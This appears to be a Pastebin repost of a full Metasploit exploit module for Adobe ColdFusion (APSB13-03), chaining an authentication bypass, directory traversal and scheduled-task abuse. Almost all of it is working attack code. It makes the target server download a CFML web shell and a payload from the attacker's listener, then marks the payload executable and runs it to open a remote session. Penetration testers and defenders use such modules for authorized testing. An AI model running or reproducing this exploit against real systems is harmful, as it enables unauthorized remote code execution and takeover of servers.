Advertisement
Mayk0

#; Adobe ColdFusion APSB13-03 Remote Exploit

Apr 10th, 2013
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.20 KB | None | 0 0
  1.  
  2. Full title: Adobe ColdFusion APSB13-03 Remote Exploit
  3. Date add: 2013-04-10
  4. Category: remote exploits
  5. Verified: Verified
  6. Platform: multiple
  7. ------------------------------------------------------------------
  8.  
  9. require 'msf/core'
  10. require 'digest/sha1'
  11. require 'openssl'
  12.  
  13. class Metasploit3 < Msf::Exploit::Remote
  14.  
  15. include Msf::Exploit::Remote::HttpClient
  16. include Msf::Exploit::Remote::HttpServer
  17.  
  18. def initialize(info = {})
  19. super(update_info(info,
  20. 'Name' => 'Adobe ColdFusion APSB13-03',
  21. 'Description' => %q{
  22. This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
  23. * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
  24. * CVE-2013-0629: directory traversal
  25. * CVE-2013-0632: authentication bypass
  26. },
  27. 'Author' =>
  28. [
  29. 'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
  30. ],
  31. 'License' => MSF_LICENSE,
  32. 'References' =>
  33. [
  34. [ 'CVE', '2013-0625'],
  35. [ 'CVE', '2013-0629'],
  36. # we don't actually exploit this, as this is the backdoor
  37. # dropped by malware exploiting the other vulnerabilities
  38. [ 'CVE', '2013-0631'],
  39. [ 'CVE', '2013-0632'],
  40. ],
  41. 'Targets' =>
  42. [
  43. ['Automatic Targeting', { 'auto' => true }],
  44. [
  45. 'Universal CMD',
  46. {
  47. 'Arch' => ARCH_CMD,
  48. 'Platform' => ['unix', 'win', 'linux']
  49. }
  50. ]
  51. ],
  52. 'DefaultTarget' => 1,
  53. 'Privileged' => true,
  54. 'Platform' => [ 'win', 'linux' ],
  55. 'DisclosureDate' => 'Jan 15 2013'))
  56.  
  57. register_options(
  58. [
  59. Opt::RPORT(80),
  60. OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
  61. OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
  62. OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
  63. OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
  64. ], self.class)
  65.  
  66. register_advanced_options(
  67. [
  68. OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
  69. ], self.class)
  70. end
  71.  
  72. def check
  73. exploitable = 0
  74. exploitable += 1 if check_cve_2013_0629
  75. exploitable += 1 if check_cve_2013_0632
  76. exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  77. end
  78.  
  79. # Login any way possible, returning the cookies if successful, empty otherwise
  80. def login
  81. cf_cookies = {}
  82.  
  83. ways = {
  84. 'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
  85. 'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
  86. 'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
  87. }
  88. ways.each do |what, how|
  89. these_cookies = how.call
  90. if got_auth? these_cookies
  91. print_status "Authenticated using '#{what}' technique"
  92. cf_cookies = these_cookies
  93. break
  94. end
  95. end
  96.  
  97. fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
  98. cf_cookies
  99. end
  100.  
  101. def exploit
  102. # login
  103. cf_cookies = login
  104.  
  105. # if we managed to login, get the listener ready
  106. datastore['URIPATH'] = rand_text_alphanumeric(6)
  107. srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
  108. start_service
  109.  
  110. # drop a payload on disk which we can used to execute
  111. # arbitrary commands, which will be needed regardless of
  112. # which technique (cmd, payload) the user wants
  113. input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
  114. output_exec = "#{datastore['URIPATH']}-e.cfm"
  115. schedule_drop cf_cookies, input_exec, output_exec
  116.  
  117. if datastore['CMD'] and not datastore['CMD'].empty?
  118. # now that the coldfusion exec is on disk, execute it,
  119. # passing in the command and arguments
  120. parts = datastore['CMD'].split(/\s+/)
  121. res = execute output_exec, parts.shift, parts.join(' ')
  122. print_line res.body.strip
  123. else
  124. # drop the payload
  125. input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
  126. output_payload = "#{datastore['URIPATH']}-p"
  127. schedule_drop cf_cookies, input_payload, output_payload
  128. # make the payload executable
  129. # XXX: windows?
  130. execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
  131. # execute the payload
  132. execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
  133. end
  134. handler
  135. end
  136.  
  137. def execute cfm, cmd, args=''
  138. uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
  139. send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
  140. end
  141.  
  142. def on_new_session(client)
  143. return
  144. # TODO: cleanup
  145. if client.type == "meterpreter"
  146. client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
  147. @files.each do |file|
  148. client.fs.file.rm("#{file}")
  149. end
  150. else
  151. @files.each do |file|
  152. client.shell_command_token("rm #{file}")
  153. end
  154. end
  155. end
  156.  
  157. def on_request_uri cli, request
  158. cf_payload = "test"
  159. case request.uri
  160. when "/#{datastore['URIPATH']}-e"
  161. cf_payload = <<-EOF
  162. <cfparam name="url.cmd" type="string" default="id"/>
  163. <cfparam name="url.args" type="string" default=""/>
  164. <cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
  165. <cfoutput>#output#</cfoutput>
  166. EOF
  167. when "/#{datastore['URIPATH']}-p"
  168. cf_payload = payload.encoded
  169. end
  170. send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
  171. end
  172.  
  173.  
  174. # Given a hash of cookie key value pairs, return a string
  175. # suitable for use as an HTTP Cookie header
  176. def build_cookie_header cookies
  177. cookies.to_a.map { |a| a.join '=' }.join '; '
  178. end
  179.  
  180. # this doesn't actually work
  181. def twiddle_csrf cookies, enable=false
  182. mode = (enable ? "Enabling" : "Disabling")
  183. print_status "#{mode} CSRF protection"
  184. params = {
  185. 'SessEnable' => enable.to_s,
  186. }
  187. res = send_request_cgi(
  188. {
  189. 'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
  190. 'method' => 'POST',
  191. 'connection' => 'TE, close',
  192. 'cookie' => build_cookie_header(cookies),
  193. 'vars_post' => params,
  194. })
  195. if res
  196. if res.body =~ /SessionManagement should/
  197. print_error "Error #{mode} CSRF"
  198. end
  199. else
  200. print_error "No response while #{mode} CSRF"
  201. end
  202. end
  203.  
  204. # Using the provided +cookies+, schedule a ColdFusion task
  205. # to request content from +input_uri+ and drop it in +output_path+
  206. def schedule_drop cookies, input_uri, output_path
  207. vprint_status "Attempting to schedule ColdFusion task"
  208. cookie_hash = cookies
  209.  
  210. scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
  211. scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
  212. # make a request to the scheduletasks page to pick up the CSRF token
  213. res = send_request_cgi(
  214. {
  215. 'uri' => normalize_uri(target_uri.path, scheduletasks_path),
  216. 'method' => 'GET',
  217. 'connection' => 'TE, close',
  218. 'cookie' => build_cookie_header(cookie_hash),
  219. })
  220. cookie_hash.merge! get_useful_cookies res
  221.  
  222. if res
  223. # XXX: I can only seem to get this to work if 'Enable Session Variables'
  224. # is disabled (Server Settings -> Memory Variables)
  225. token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
  226. unless token
  227. print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
  228. #twiddle_csrf cookies, false
  229. token = ''
  230. end
  231. else
  232. fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
  233. end
  234.  
  235. # make a request to the scheduletasks page again, this time passing in our CSRF token
  236. # in an attempt to get all of the other cookies used in a request
  237. cookie_hash.merge! get_useful_cookies res
  238. res = send_request_cgi(
  239. {
  240. 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
  241. 'method' => 'GET',
  242. 'connection' => 'TE, close',
  243. 'cookie' => build_cookie_header(cookie_hash),
  244. })
  245.  
  246. fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
  247.  
  248. # pick a unique task ID
  249. task_id = SecureRandom.uuid
  250. # drop the backdoor in the CFIDE directory so it can be executed
  251. publish_file = '../../wwwroot/CFIDE/' + output_path
  252. # pick a start date. This must be in the future, so pick
  253. # one sufficiently far ahead to account for time zones,
  254. # improper time keeping, solar flares, drift, etc.
  255. start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
  256. params = {
  257. 'csrftoken' => token,
  258. 'TaskName' => task_id,
  259. 'Group' => 'default',
  260. 'Start_Date' => start_date,
  261. 'End_Date' => '',
  262. 'ScheduleType' => 'Once',
  263. 'StartTimeOnce' => '1:37 PM',
  264. 'Interval' => 'Daily',
  265. 'StartTimeDWM' => '',
  266. 'customInterval_hour' => '0',
  267. 'customInterval_min' => '0',
  268. 'customInterval_sec' => '0',
  269. 'CustomStartTime' => '',
  270. 'CustomEndTime' => '',
  271. 'repeatradio' => 'norepeatforeverradio',
  272. 'Repeat' => '',
  273. 'crontime' => '',
  274. 'Operation' => 'HTTPRequest',
  275. 'ScheduledURL' => input_uri,
  276. 'Username' => '',
  277. 'Password' => '',
  278. 'Request_Time_out' => '',
  279. 'proxy_server' => '',
  280. 'http_proxy_port' => '',
  281. 'publish' => '1',
  282. 'publish_file' => publish_file,
  283. 'publish_overwrite' => 'on',
  284. 'eventhandler' => '',
  285. 'exclude' => '',
  286. 'onmisfire' => '',
  287. 'onexception' => '',
  288. 'oncomplete' => '',
  289. 'priority' => '5',
  290. 'retrycount' => '3',
  291. 'advancedmode' => 'true',
  292. 'adminsubmit' => 'Submit',
  293. 'taskNameOriginal' => task_id,
  294. 'groupOriginal' => 'default',
  295. 'modeOriginal' => 'server',
  296. }
  297.  
  298. cookie_hash.merge! (get_useful_cookies res)
  299. res = send_request_cgi(
  300. {
  301. 'uri' => normalize_uri(target_uri.path, scheduleedit_path),
  302. 'method' => 'POST',
  303. 'connection' => 'TE, close',
  304. 'cookie' => build_cookie_header(cookie_hash),
  305. 'vars_post' => params,
  306. })
  307.  
  308. if res
  309. # if there was something wrong with the task, capture those errors
  310. # print them and abort
  311. errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
  312. if errors.empty?
  313. if res.body =~ /SessionManagement should/
  314. fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
  315. end
  316. print_status "Created task #{task_id}"
  317. else
  318. fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
  319. end
  320. else
  321. fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
  322. end
  323.  
  324. print_status "Executing task #{task_id}"
  325. res = send_request_cgi(
  326. {
  327. 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
  328. 'method' => 'GET',
  329. 'connection' => 'TE, close',
  330. 'cookie' => build_cookie_header(cookie_hash),
  331. })
  332.  
  333. #twiddle_csrf cookies, true
  334. if datastore['DELETE_TASK']
  335. print_status "Removing task #{task_id}"
  336. res = send_request_cgi(
  337. {
  338. 'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
  339. 'method' => 'GET',
  340. 'connection' => 'TE, close',
  341. 'cookie' => build_cookie_header(cookie_hash),
  342. })
  343. end
  344.  
  345. vprint_status normalize_uri(target_uri, publish_file)
  346. publish_file
  347. end
  348.  
  349. # Given the HTTP response +res+, extract any interesting, non-empty
  350. # cookies, returning them as a hash
  351. def get_useful_cookies res
  352. set_cookie = res.headers['Set-Cookie']
  353. # Parse the Set-Cookie header
  354. parsed_cookies = CGI::Cookie.parse(set_cookie)
  355.  
  356. # Clean up the cookies we got by:
  357. # * Dropping Path and Expires from the parsed cookies -- we don't care
  358. # * Dropping empty (reset) cookies
  359. %w(Path Expires).each do |ignore|
  360. parsed_cookies.delete ignore
  361. parsed_cookies.delete ignore.downcase
  362. end
  363. parsed_cookies.keys.each do |name|
  364. parsed_cookies[name].reject! { |value| value == '""' }
  365. end
  366. parsed_cookies.reject! { |name,values| values.empty? }
  367.  
  368. # the cookies always seem to start with CFAUTHORIZATION_, but
  369. # give the module the ability to log what it got in the event
  370. # that this stops becoming an OK assumption
  371. unless parsed_cookies.empty?
  372. vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
  373. end
  374. cookie_pattern = /^CF/
  375. useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
  376. if useful_cookies.empty?
  377. vprint_status "No #{cookie_pattern} cookies found"
  378. else
  379. vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
  380. end
  381. useful_cookies
  382. end
  383.  
  384. # Authenticates to ColdFusion Administrator via the adminapi using the
  385. # specified +user+ and +password+. If +use_rds+ is true, it is assumed that
  386. # the provided credentials are for RDS, otherwise they are assumed to be
  387. # credentials for ColdFusion Administrator.
  388. #
  389. # Returns a hash (cookie name => value) of the cookies obtained
  390. def adminapi_login user, password, use_rds
  391. vprint_status "Attempting ColdFusion Administrator adminapi login"
  392. user ||= ''
  393. password ||= ''
  394. res = send_request_cgi(
  395. {
  396. 'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
  397. 'method' => 'POST',
  398. 'connection' => 'TE, close',
  399. 'vars_post' => {
  400. 'method' => 'login',
  401. 'adminUserId' => user,
  402. 'adminPassword' => password,
  403. 'rdsPasswordAllowed' => (use_rds ? '1' : '0')
  404. }
  405. })
  406.  
  407. if res
  408. if res.code == 200
  409. vprint_status "HTTP #{res.code} when authenticating"
  410. return get_useful_cookies(res)
  411. else
  412. print_error "HTTP #{res.code} when authenticating"
  413. end
  414. else
  415. print_error "No response when authenticating"
  416. end
  417.  
  418. {}
  419. end
  420.  
  421. # Authenticates to ColdFusion Administrator using the specified +user+ and
  422. # +password+
  423. #
  424. # Returns a hash (cookie name => value) of the cookies obtained
  425. def administrator_login user, password
  426. cf_cookies = administrator_9x_login user, password
  427. unless got_auth? cf_cookies
  428. cf_cookies = administrator_10x_login user, password
  429. end
  430. cf_cookies
  431. end
  432.  
  433. def administrator_10x_login user, password
  434. # coldfusion 10 appears to do:
  435. # cfadminPassword.value = hex_sha1(cfadminPassword.value)
  436. vprint_status "Trying ColdFusion 10.x Administrator login"
  437. res = send_request_cgi(
  438. {
  439. 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
  440. 'method' => 'POST',
  441. 'vars_post' => {
  442. 'cfadminUserId' => user,
  443. 'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
  444. 'requestedURL' => '/CFIDE/administrator/index.cfm',
  445. 'submit' => 'Login',
  446. }
  447. })
  448.  
  449. if res
  450. if res.code.to_s =~ /^30[12]/
  451. useful_cookies = get_useful_cookies res
  452. if got_auth? useful_cookies
  453. return useful_cookies
  454. end
  455. else
  456. if res.body =~ /<title>Error/i
  457. print_status "Appears to be restricted and/or not ColdFusion 10.x"
  458. elsif res.body =~ /A License exception has occurred/i
  459. print_status "Is license restricted"
  460. else
  461. vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
  462. vprint_status res.body
  463. end
  464. end
  465. end
  466.  
  467. return {}
  468. end
  469.  
  470. def got_auth? cookies
  471. not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
  472. end
  473.  
  474. def administrator_9x_login user, password
  475. vprint_status "Trying ColdFusion 9.x Administrator login"
  476. # coldfusion 9 appears to do:
  477. # cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
  478. #
  479. # You can get a current salt from
  480. # http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
  481. #
  482. # Unfortunately that URL might be restricted and the salt really just looks
  483. # to be the current time represented as the number of milliseconds since
  484. # the epoch, so just use that
  485. salt = (Time.now.to_i * 1000).to_s
  486. pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
  487. res = send_request_cgi(
  488. {
  489. 'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
  490. 'method' => 'POST',
  491. 'vars_post' => {
  492. 'submit' => 'Login',
  493. 'salt' => salt,
  494. 'cfadminUserId' => user,
  495. 'requestedURL' => '/CFIDE/administrator/index.cfm',
  496. 'cfadminPassword' => pass,
  497. }
  498. })
  499. if res
  500. return get_useful_cookies res
  501. else
  502. print_error "No response while trying ColdFusion 9.x authentication"
  503. end
  504.  
  505. {}
  506. end
  507.  
  508. # Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
  509. #
  510. # Returns a hash (cookie name => value) of the cookies obtained
  511. def componentutils_login user, password
  512. vprint_status "Attempting ColdFusion ComponentUtils login"
  513. vars = {
  514. 'j_password_required' => "Password+Required",
  515. 'submit' => 'Login',
  516. }
  517. vars['rdsUserId'] = user if user
  518. vars['j_password'] = password if password
  519. res = send_request_cgi(
  520. {
  521. 'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
  522. 'method' => 'POST',
  523. 'connection' => 'TE, close',
  524. 'vars_post' => vars
  525. })
  526.  
  527. cf_cookies = {}
  528. if res.code.to_s =~ /^(?:200|30[12])$/
  529. cf_cookies = get_useful_cookies res
  530. else
  531. print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
  532. end
  533.  
  534. cf_cookies
  535. end
  536.  
  537. def check_cve_2013_0629
  538. vulns = 0
  539. paths = %w(../../../license.txt ../../../../license.html)
  540.  
  541. # first try password-less bypass in the event that this thing
  542. # was just wide open
  543. vuln_without_creds = false
  544. paths.each do |path|
  545. if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
  546. vulns += 1
  547. vuln_without_creds = true
  548. break
  549. end
  550. end
  551.  
  552. if vuln_without_creds
  553. print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
  554. else
  555. print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
  556. end
  557.  
  558. # if credentials are provided, try those too
  559. if datastore['USERNAME'] and datastore['PASSWORD']
  560. vuln_without_bypass = false
  561. paths.each do |path|
  562. cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
  563. if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
  564. vulns += 1
  565. vuln_without_bypass = true
  566. break
  567. end
  568. end
  569.  
  570. if vuln_without_bypass
  571. print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
  572. else
  573. print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
  574. end
  575. end
  576.  
  577. # now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
  578. vuln_with_bypass = false
  579. paths.each do |path|
  580. cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
  581. # we need to take the cookie value from CFAUTHORIZATION_cfadmin
  582. # and use it for CFAUTHORIZATION_componentutils
  583. cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
  584. cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
  585. if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
  586. vulns += 1
  587. vuln_with_bypass = true
  588. break
  589. end
  590. end
  591.  
  592. if vuln_with_bypass
  593. print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
  594. else
  595. print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
  596. end
  597.  
  598. vulns > 0
  599. end
  600.  
  601. # Checks for CVE-2013-0632, returning true if the target is
  602. # vulnerable, false otherwise
  603. def check_cve_2013_0632
  604. if datastore['USERDS']
  605. # the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
  606. # subsequently *enabled* after install, the password is unset so we simply must
  607. # check that and only that.
  608. cf_cookies = adminapi_login 'foo', 'bar', true
  609. if cf_cookies.empty?
  610. print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
  611. else
  612. print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
  613. return true
  614. end
  615. else
  616. print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
  617. end
  618. false
  619. end
  620.  
  621. def traverse_read path, cookies
  622. uri = normalize_uri(target_uri.path)
  623. uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
  624. uri << path
  625. res = send_request_cgi(
  626. {
  627. 'uri' => uri,
  628. 'method' => 'GET',
  629. 'connection' => 'TE, close',
  630. 'cookie' => build_cookie_header(cookies)
  631. })
  632. res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
  633. end
  634. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement